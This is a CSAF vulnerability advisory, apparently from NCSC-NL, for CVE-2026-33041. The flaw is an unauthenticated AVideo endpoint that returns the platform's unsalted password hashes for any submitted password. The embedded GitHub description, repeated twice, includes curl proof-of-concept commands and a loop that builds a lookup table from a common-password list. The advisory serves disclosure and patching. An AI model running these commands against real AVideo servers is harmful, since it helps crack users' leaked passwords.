{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33041",
        "tracking": {
            "current_release_date": "2026-03-25T10:03:34.248848Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33041",
            "initial_release_date": "2026-03-17T21:00:13.840424Z",
            "revision_history": [
                {
                    "date": "2026-03-17T21:00:13.840424Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-17T21:00:15.894691Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T11:40:23.718172Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:26:26.269664Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:26:36.864108Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:29:27.475164Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:29:30.283860Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:35:38.451830Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-20T21:41:43.347369Z",
                    "number": "9",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-20T21:59:09.890315Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T21:59:19.816443Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T13:47:28.197942Z",
                    "number": "12",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-22T00:51:54.544873Z",
                    "number": "13",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-22T11:24:56.640415Z",
                    "number": "14",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-23T00:54:05.250334Z",
                    "number": "15",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-23T05:16:01.722432Z",
                    "number": "16",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-24T02:12:56.289938Z",
                    "number": "17",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T02:13:06.787553Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:28.110008Z",
                    "number": "19",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-24T20:56:31.891095Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "20"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<26.0",
                                "product": {
                                    "name": "vers:unknown/<26.0",
                                    "product_id": "CSAFPID-5874460",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33041",
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\n`/objects/encryptPass.json.php` exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.\n\n### Details\n\n**File:** `objects/encryptPass.json.php`\n\n```php\n$obj->password = @$_REQUEST['pass'];\n$obj->encryptedPassword = encryptPassword($obj->password);\necho json_encode($obj);\n```\n\nNo authentication is required. The `encryptPassword()` function in `objects/functions.php` (line ~2101) uses:\n\n```php\nfunction encryptPassword($password, $noSalt = false) {\n    if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {\n        $password .= $global['salt'];\n    }\n    return md5(hash('whirlpool', sha1($password)));\n}\n```\n\nBy default, salt is NOT enabled (`encryptPasswordsWithSalt` is off), making the hash deterministic and identical to what's stored in the database.\n\n### PoC\n\n```bash\n# Get the hash for any password\ncurl 'https://TARGET/objects/encryptPass.json.php?pass=admin123'\n# Response: {\"password\":\"admin123\",\"encryptedPassword\":\"<hash>\"}\n\n# Build a rainbow table for common passwords\nfor pass in $(cat rockyou-top1000.txt); do\n  curl -s \"https://TARGET/objects/encryptPass.json.php?pass=$pass\"\ndone\n```\n\nIf an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint.\n\n### Impact\n\n**Password Cracking Acceleration** — This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly.\n\nAdditionally, this reveals whether salt is enabled and the exact hashing implementation, which is sensitive cryptographic configuration.",
                    "title": "github - https://github.com/advisories/GHSA-px7x-gq96-rmp5"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\n`/objects/encryptPass.json.php` exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.\n\n### Details\n\n**File:** `objects/encryptPass.json.php`\n\n```php\n$obj->password = @$_REQUEST['pass'];\n$obj->encryptedPassword = encryptPassword($obj->password);\necho json_encode($obj);\n```\n\nNo authentication is required. The `encryptPassword()` function in `objects/functions.php` (line ~2101) uses:\n\n```php\nfunction encryptPassword($password, $noSalt = false) {\n    if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {\n        $password .= $global['salt'];\n    }\n    return md5(hash('whirlpool', sha1($password)));\n}\n```\n\nBy default, salt is NOT enabled (`encryptPasswordsWithSalt` is off), making the hash deterministic and identical to what's stored in the database.\n\n### PoC\n\n```bash\n# Get the hash for any password\ncurl 'https://TARGET/objects/encryptPass.json.php?pass=admin123'\n# Response: {\"password\":\"admin123\",\"encryptedPassword\":\"<hash>\"}\n\n# Build a rainbow table for common passwords\nfor pass in $(cat rockyou-top1000.txt); do\n  curl -s \"https://TARGET/objects/encryptPass.json.php?pass=$pass\"\ndone\n```\n\nIf an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint.\n\n### Impact\n\n**Password Cracking Acceleration** — This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly.\n\nAdditionally, this reveals whether salt is enabled and the exact hashing implementation, which is sensitive cryptographic configuration.",
                    "title": "github - https://api.github.com/advisories/GHSA-px7x-gq96-rmp5"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/encryptPass.json.php exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes. If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint. This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly. This issue was fixed in version 26.0.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33041.json"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/encryptPass.json.php exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes. If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint. This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly. This issue was fixed in version 26.0.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33041"
                },
                {
                    "category": "other",
                    "text": "0.0003",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.0",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score, Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5874460"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-px7x-gq96-rmp5"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-px7x-gq96-rmp5"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-px7x-gq96-rmp5"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33041.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33041"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-px7x-gq96-rmp5"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/WWBN/AVideo/commit/ea2efd04464560cca93c9ab48b445dbb944a4e46"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-px7x-gq96-rmp5"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33041"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
                        "baseScore": 5.3,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5874460"
                    ]
                }
            ],
            "title": "CVE-2026-33041"
        }
    ]
}